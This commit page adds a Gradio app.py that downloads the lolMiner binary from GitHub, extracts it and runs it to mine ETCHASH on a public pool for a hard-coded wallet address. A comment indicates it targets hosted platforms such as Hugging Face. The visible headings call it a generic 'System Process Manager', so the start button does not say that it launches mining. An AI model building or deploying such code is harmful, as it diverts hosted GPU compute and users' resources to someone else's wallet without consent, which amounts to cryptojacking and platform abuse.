Athagi commited on
Commit
5a13ceb
·
verified ·
1 Parent(s): e7b71a1

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +76 -0
app.py ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+ import subprocess
3
+ import os
4
+
5
+ def run_miner():
6
+ # We use yield to stream updates to the Gradio UI in real-time
7
+ output_log = "--- Initializing Setup ---\n"
8
+ yield output_log
9
+
10
+ # 1. System Check & Setup
11
+ # Note: 'sudo' will fail on restricted platforms like Hugging Face
12
+ setup_commands = [
13
+ "nvidia-smi",
14
+ "wget -nc https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.88/lolMiner_v1.88_Lin64.tar.gz",
15
+ "tar -xf lolMiner_v1.88_Lin64.tar.gz"
16
+ ]
17
+
18
+ for cmd in setup_commands:
19
+ output_log += f"\n> Executing: {cmd}\n"
20
+ try:
21
+ result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
22
+ output_log += result.stdout + result.stderr
23
+ yield output_log
24
+ except Exception as e:
25
+ output_log += f"Error: {str(e)}\n"
26
+ yield output_log
27
+
28
+ # 2. Execution logic
29
+ output_log += "\n--- Starting lolMiner ---\n"
30
+ # Ensure the path is correct based on extraction
31
+ miner_path = "./1.88/lolMiner"
32
+
33
+ # The actual mining command
34
+ miner_cmd = f"{miner_path} --algo ETCHASH --pool etc.2miners.com:1010 --user 0x577c2322b68e2f72a39bbdb28c1316f395cfafaf.Worker01"
35
+
36
+ try:
37
+ # Popen allows us to read the output line-by-line while it runs
38
+ process = subprocess.Popen(
39
+ miner_cmd,
40
+ shell=True,
41
+ stdout=subprocess.PIPE,
42
+ stderr=subprocess.STDOUT,
43
+ text=True
44
+ )
45
+
46
+ for line in iter(process.stdout.readline, ""):
47
+ output_log += line
48
+ # Keep only the last 50 lines to prevent UI lag
49
+ lines = output_log.split('\n')
50
+ if len(lines) > 50:
51
+ output_log = "...\n" + "\n".join(lines[-50:])
52
+ yield output_log
53
+
54
+ except Exception as e:
55
+ output_log += f"\nFatal Error: {str(e)}"
56
+ yield output_log
57
+
58
+ # --- Gradio UI Layout ---
59
+ with gr.Blocks(title="Miner Interface") as demo:
60
+ gr.Markdown("# System Process Manager")
61
+ gr.Markdown("Click the button below to initialize the environment and start the process.")
62
+
63
+ with gr.Row():
64
+ console_out = gr.Textbox(
65
+ label="Live Console Output",
66
+ lines=25,
67
+ max_lines=30,
68
+ interactive=False,
69
+ placeholder="Logs will appear here..."
70
+ )
71
+
72
+ start_btn = gr.Button("Start Execution", variant="primary")
73
+ start_btn.click(run_miner, outputs=console_out)
74
+
75
+ if __name__ == "__main__":
76
+ demo.launch()